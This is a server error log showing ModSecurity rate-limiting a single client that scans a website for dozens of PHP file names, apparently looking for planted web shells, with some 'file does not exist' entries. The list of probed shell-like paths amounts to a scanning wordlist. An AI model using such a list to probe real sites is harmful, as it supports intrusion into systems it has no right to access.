[Thu Apr 16 07:03:28.596669 2026] [:error] [pid 57538:tid 57620] [client 20.199.125.41:15749] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/shlo.php"] [unique_id "aeAZQMuMaiEF5SVR2BdDYAAAAJI"]
[Thu Apr 16 07:03:31.391783 2026] [:error] [pid 49094:tid 49100] [client 20.199.125.41:48929] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeAZQzbDwvcXorHR_MynCAAAAUQ"]
[Thu Apr 16 07:03:32.902616 2026] [:error] [pid 57536:tid 57562] [client 20.199.125.41:12700] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeAZRCQU4faGja6jpDuHaQAAAA4"]
[Thu Apr 16 07:03:34.683892 2026] [:error] [pid 57639:tid 57646] [client 20.199.125.41:46685] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeAZRqMCQoTw7TsxWunTRgAAAMA"]
[Thu Apr 16 07:03:35.778678 2026] [:error] [pid 57538:tid 57610] [client 20.199.125.41:10230] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeAZR8uMaiEF5SVR2BdDaAAAAIg"]
[Thu Apr 16 07:03:37.092732 2026] [:error] [pid 29603:tid 29615] [client 20.199.125.41:48988] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeAZSVfGOR6fpTWUAzrYvgAAAQo"]
[Thu Apr 16 07:03:42.879649 2026] [:error] [pid 57537:tid 57591] [client 20.199.125.41:19571] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeAZTlVQRS8nm73ENAk7YAAAAFA"]
[Thu Apr 16 07:03:44.135534 2026] [:error] [pid 57537:tid 57599] [client 20.199.125.41:49738] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeAZUFVQRS8nm73ENAk7YgAAAFg"]
[Thu Apr 16 07:03:47.021727 2026] [:error] [pid 57639:tid 57661] [client 20.199.125.41:53283] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/only.php"] [unique_id "aeAZU6MCQoTw7TsxWunTUAAAAM8"]
[Thu Apr 16 07:04:57.972066 2026] [:error] [pid 29603:tid 29608] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/fs6.php
[Thu Apr 16 07:04:58.297032 2026] [:error] [pid 29603:tid 29619] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/ng.php
[Thu Apr 16 07:04:58.537703 2026] [:error] [pid 29603:tid 29624] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/btx25.php
[Thu Apr 16 07:04:58.981871 2026] [:error] [pid 29603:tid 29614] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Thu Apr 16 07:04:59.312910 2026] [:error] [pid 29603:tid 29613] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/co.php
[Thu Apr 16 07:04:59.552030 2026] [:error] [pid 29603:tid 29629] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/obfuscate.php
[Thu Apr 16 07:04:59.836745 2026] [:error] [pid 29603:tid 29626] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/ww.php
[Thu Apr 16 07:05:00.085728 2026] [:error] [pid 29603:tid 29609] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-tymanage.php
[Thu Apr 16 07:05:00.328936 2026] [:error] [pid 29603:tid 29628] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/size.php
[Thu Apr 16 07:05:00.595399 2026] [:error] [pid 29603:tid 29621] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Thu Apr 16 07:05:00.903981 2026] [:error] [pid 29603:tid 29616] [client 20.199.125.41:13125] File does not exist: /usr/local/apache/htdocs/suspended-page/55.php
[Thu Apr 16 07:05:01.161918 2026] [:error] [pid 29603:tid 29623] [client 20.199.125.41:13125] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeAZnVfGOR6fpTWUAzrZKwAAARI"]
[Thu Apr 16 07:05:04.454039 2026] [:error] [pid 57537:tid 57592] [client 20.199.125.41:9885] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeAZoFVQRS8nm73ENAk7tAAAAFE"]
[Thu Apr 16 07:05:06.743123 2026] [:error] [pid 57536:tid 57567] [client 20.199.125.41:11201] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeAZoiQU4faGja6jpDuHoAAAABM"]
[Thu Apr 16 07:05:08.129436 2026] [:error] [pid 57639:tid 57650] [client 20.199.125.41:29520] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeAZpKMCQoTw7TsxWunTogAAAMQ"]
[Thu Apr 16 07:05:10.605098 2026] [:error] [pid 57538:tid 57604] [client 20.199.125.41:25109] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeAZpsuMaiEF5SVR2BdD9QAAAII"]
[Thu Apr 16 07:05:11.540911 2026] [:error] [pid 29603:tid 29605] [client 20.199.125.41:11246] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeAZp1fGOR6fpTWUAzrZRAAAAQA"]
[Thu Apr 16 07:05:17.727415 2026] [:error] [pid 57639:tid 57659] [client 20.199.125.41:32135] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeAZraMCQoTw7TsxWunTrQAAAM0"]
[Thu Apr 16 07:05:19.439866 2026] [:error] [pid 57536:tid 57556] [client 20.199.125.41:39793] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "aeAZryQU4faGja6jpDuHrAAAAAg"]
[Thu Apr 16 07:05:20.883033 2026] [:error] [pid 49094:tid 49108] [client 20.199.125.41:37816] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bardbdze.php"] [unique_id "aeAZsDbDwvcXorHR_MynzgAAAUw"]
[Thu Apr 16 07:05:22.181848 2026] [:error] [pid 57538:tid 57626] [client 20.199.125.41:32167] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bardbdze.php"] [unique_id "aeAZssuMaiEF5SVR2BdEDQAAAJg"]
[Thu Apr 16 07:05:23.974403 2026] [:error] [pid 57639:tid 57653] [client 20.199.125.41:44102] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bardbdze.php"] [unique_id "aeAZs6MCQoTw7TsxWunTxAAAAMc"]
[Thu Apr 16 07:05:24.713584 2026] [:error] [pid 57536:tid 57553] [client 20.199.125.41:17810] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bardbdze.php"] [unique_id "aeAZtCQU4faGja6jpDuH2gAAAAU"]
[Thu Apr 16 07:05:25.336747 2026] [:error] [pid 49094:tid 49097] [client 20.199.125.41:54113] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "aeAZtTbDwvcXorHR_Myn1gAAAUE"]
[Thu Apr 16 07:05:26.980991 2026] [:error] [pid 57538:tid 57602] [client 20.199.125.41:54033] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "aeAZtsuMaiEF5SVR2BdEFwAAAIA"]
[Thu Apr 16 07:05:28.202894 2026] [:error] [pid 57536:tid 57571] [client 20.199.125.41:17808] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "aeAZuCQU4faGja6jpDuH3AAAABc"]
[Thu Apr 16 07:05:30.103465 2026] [:error] [pid 29603:tid 29628] [client 20.199.125.41:12837] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zz.php"] [unique_id "aeAZulfGOR6fpTWUAzrZZwAAARc"]
[Thu Apr 16 07:05:32.084185 2026] [:error] [pid 49094:tid 49120] [client 20.199.125.41:25115] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aeAZvDbDwvcXorHR_Myn2gAAAVg"]
[Thu Apr 16 07:05:33.594409 2026] [:error] [pid 29603:tid 29622] [client 20.199.125.41:54140] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aeAZvVfGOR6fpTWUAzrZagAAARE"]
[Thu Apr 16 07:05:36.671277 2026] [:error] [pid 49094:tid 49097] [client 20.199.125.41:38509] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aeAZwDbDwvcXorHR_Myn6gAAAUE"]
[Thu Apr 16 07:05:37.967472 2026] [:error] [pid 57538:tid 57603] [client 20.199.125.41:14499] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amxloxxr.php"] [unique_id "aeAZwcuMaiEF5SVR2BdEIgAAAIE"]
[Thu Apr 16 07:05:39.734790 2026] [:error] [pid 29603:tid 29605] [client 20.199.125.41:38466] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "aeAZw1fGOR6fpTWUAzrZcAAAAQA"]
[Thu Apr 16 07:05:41.020225 2026] [:error] [pid 57536:tid 57565] [client 20.199.125.41:39806] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "aeAZxSQU4faGja6jpDuH4QAAABE"]
[Thu Apr 16 07:05:42.022851 2026] [:error] [pid 57536:tid 57567] [client 20.199.125.41:39755] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "aeAZxiQU4faGja6jpDuH4gAAABM"]
[Thu Apr 16 07:05:44.195808 2026] [:error] [pid 57537:tid 57584] [client 20.199.125.41:17196] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.yuf.php"] [unique_id "aeAZyFVQRS8nm73ENAk7zQAAAEk"]
[Thu Apr 16 07:05:45.230193 2026] [:error] [pid 49094:tid 49118] [client 20.199.125.41:12841] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "aeAZyTbDwvcXorHR_MyoAgAAAVY"]
[Thu Apr 16 07:05:47.387971 2026] [:error] [pid 29603:tid 29607] [client 20.199.125.41:39787] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "aeAZy1fGOR6fpTWUAzrZdQAAAQI"]
[Thu Apr 16 07:05:48.732358 2026] [:error] [pid 57536:tid 57569] [client 20.199.125.41:44150] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "aeAZzCQU4faGja6jpDuH6QAAABU"]
[Thu Apr 16 07:05:52.239060 2026] [:error] [pid 49094:tid 49119] [client 20.199.125.41:41996] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wert.php"] [unique_id "aeAZ0DbDwvcXorHR_MyoFAAAAVc"]
[Thu Apr 16 07:05:54.972430 2026] [:error] [pid 57537:tid 57577] [client 20.199.125.41:21286] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeAZ0lVQRS8nm73ENAk71AAAAEI"]
[Thu Apr 16 07:05:56.233017 2026] [:error] [pid 49094:tid 49114] [client 20.199.125.41:35756] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeAZ1DbDwvcXorHR_MyoHwAAAVI"]
[Thu Apr 16 07:05:57.428447 2026] [:error] [pid 57538:tid 57622] [client 20.199.125.41:21257] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeAZ1cuMaiEF5SVR2BdETAAAAJQ"]
[Thu Apr 16 07:05:58.426219 2026] [:error] [pid 57538:tid 57618] [client 20.199.125.41:57803] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "aeAZ1suMaiEF5SVR2BdETwAAAJA"]
[Thu Apr 16 07:05:59.791546 2026] [:error] [pid 29603:tid 29610] [client 20.199.125.41:39783] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new4.php"] [unique_id "aeAZ11fGOR6fpTWUAzrZgAAAAQU"]
[Thu Apr 16 07:06:00.549761 2026] [:error] [pid 49094:tid 49100] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/new4.php
[Thu Apr 16 07:06:00.989486 2026] [:error] [pid 49094:tid 49104] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/wpb.php
[Thu Apr 16 07:06:01.351584 2026] [:error] [pid 49094:tid 49117] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-ver.php
[Thu Apr 16 07:06:01.939127 2026] [:error] [pid 49094:tid 49109] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/bootstrap.php
[Thu Apr 16 07:06:02.586560 2026] [:error] [pid 49094:tid 49119] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/class-bda.php
[Thu Apr 16 07:06:02.838429 2026] [:error] [pid 49094:tid 49099] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/haz.php
[Thu Apr 16 07:06:03.149359 2026] [:error] [pid 49094:tid 49108] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/f222.php
[Thu Apr 16 07:06:03.497127 2026] [:error] [pid 49094:tid 49105] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Thu Apr 16 07:06:04.074647 2026] [:error] [pid 49094:tid 49106] [client 20.199.125.41:52745] File does not exist: /usr/local/apache/htdocs/suspended-page/sfcl.php
[Thu Apr 16 07:06:05.856916 2026] [:error] [pid 49094:tid 49096] [client 20.199.125.41:52745] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "aeAZ3TbDwvcXorHR_MyoLgAAAUA"]
[Thu Apr 16 07:06:08.287136 2026] [:error] [pid 57639:tid 57670] [client 20.199.125.41:3811] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "aeAZ4KMCQoTw7TsxWunT6wAAANg"]
[Thu Apr 16 07:06:09.309760 2026] [:error] [pid 49094:tid 49114] [client 20.199.125.41:39799] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "aeAZ4TbDwvcXorHR_MyoNAAAAVI"]
[Thu Apr 16 07:06:11.274392 2026] [:error] [pid 49094:tid 49110] [client 20.199.125.41:25091] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ca-022.php"] [unique_id "aeAZ4zbDwvcXorHR_MyoNgAAAU4"]
[Thu Apr 16 07:06:13.323556 2026] [:error] [pid 49094:tid 49104] [client 20.199.125.41:9887] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/act.php"] [unique_id "aeAZ5TbDwvcXorHR_MyoTQAAAUg"]
[Thu Apr 16 07:06:15.911574 2026] [:error] [pid 57639:tid 57662] [client 20.199.125.41:3418] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/act.php"] [unique_id "aeAZ56MCQoTw7TsxWunT-QAAANA"]
[Thu Apr 16 07:06:16.926128 2026] [:error] [pid 57536:tid 57569] [client 20.199.125.41:3755] [client 20.199.125.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/act.php"] [unique_id "aeAZ6CQU4faGja6jpDuIEAAAABU"]
